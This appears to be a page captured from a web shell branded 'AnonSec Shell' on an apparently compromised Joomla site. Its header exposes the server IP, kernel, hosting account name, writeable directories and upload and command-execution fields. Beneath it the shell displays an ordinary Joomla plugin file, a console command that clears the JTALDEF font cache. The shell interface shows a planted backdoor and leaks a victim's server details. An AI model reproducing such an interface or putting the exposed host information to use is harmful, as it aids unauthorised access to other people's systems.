AnonSec Shell
Server IP : 46.105.57.169  /  Your IP : 216.73.216.144
Web Server : Apache
System : Linux webd003.cluster120.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : maitricfuz ( 93378)
PHP Version : 8.4.10
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/maitricfuz/www/saint-martin-lg/plugins/system/jtaldef/src/Console/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/maitricfuz/www/saint-martin-lg/plugins/system/jtaldef/src/Console/CacheCleaner.php
<?php

/**
 * Automatic local download external files
 *
 * @package     Joomla.Plugin
 * @subpackage  System.Jtaldef
 *
 * @author      Guido De Gobbis <support@joomtools.de>
 * @copyright   JoomTools.de - All rights reserved.
 * @license     GNU General Public License version 3 or later
 */

namespace JoomTools\Plugin\System\Jtaldef\Console;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

use Joomla\Console\Command\AbstractCommand;
use Joomla\Filesystem\Folder;
use JoomTools\Plugin\System\Jtaldef\Helper\JtaldefHelper;
use Symfony\Component\Console\Command\Command;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Output\OutputInterface;
use Symfony\Component\Console\Style\SymfonyStyle;

/**
 * Console command for cleaning the JTALDEF cache
 *
 * @since  2.0.6
 */
class CacheCleaner extends AbstractCommand
{
    /**
     * The default command name
     *
     * @var    string
     * @since  2.0.6
     */
    protected static $defaultName = 'jtaldef:cache:clean';

    /**
     * Internal function to execute the command.
     *
     * @param   InputInterface   $input   The input to inject into the command.
     * @param   OutputInterface  $output  The output to inject into the command.
     *
     * @return  integer  The command exit code
     *
     * @since   2.0.6
     */
    protected function doExecute(InputInterface $input, OutputInterface $output): int
    {
        $symfonyStyle = new SymfonyStyle($input, $output);

        if (is_dir(JPATH_ROOT . '/' . JtaldefHelper::JTALDEF_UPLOAD)) {
            $symfonyStyle->title('Cleaning JTALDEF fonts cache');

            $clearIndex = Folder::delete(JPATH_ROOT . '/' . JtaldefHelper::JTALDEF_UPLOAD);

            if (!$clearIndex) {
                $symfonyStyle->error("JTALDEF cache not cleaned:\n- There was an error when deleting the JTALDEF cached files.");

                return Command::FAILURE;
            }

            $symfonyStyle->success('JTALDEF cache cleaned.');

            return Command::SUCCESS;
        }

        $symfonyStyle->info('There is no JTALDEF cache to clean.');

        return Command::SUCCESS;
    }

    /**
     * Configure the command.
     *
     * @return  void
     *
     * @since   2.0.6
     */
    protected function configure(): void
    {
        $help = "<info>%command.name%</info> will clear entries from the JTALDEF fonts cache
		\nUsage: <info>php %command.full_name%</info>";

        $this->setDescription('Cleans JTALDEF cached entries');
        $this->setHelp($help);
    }
}

Anon7 - 2022
AnonSec Team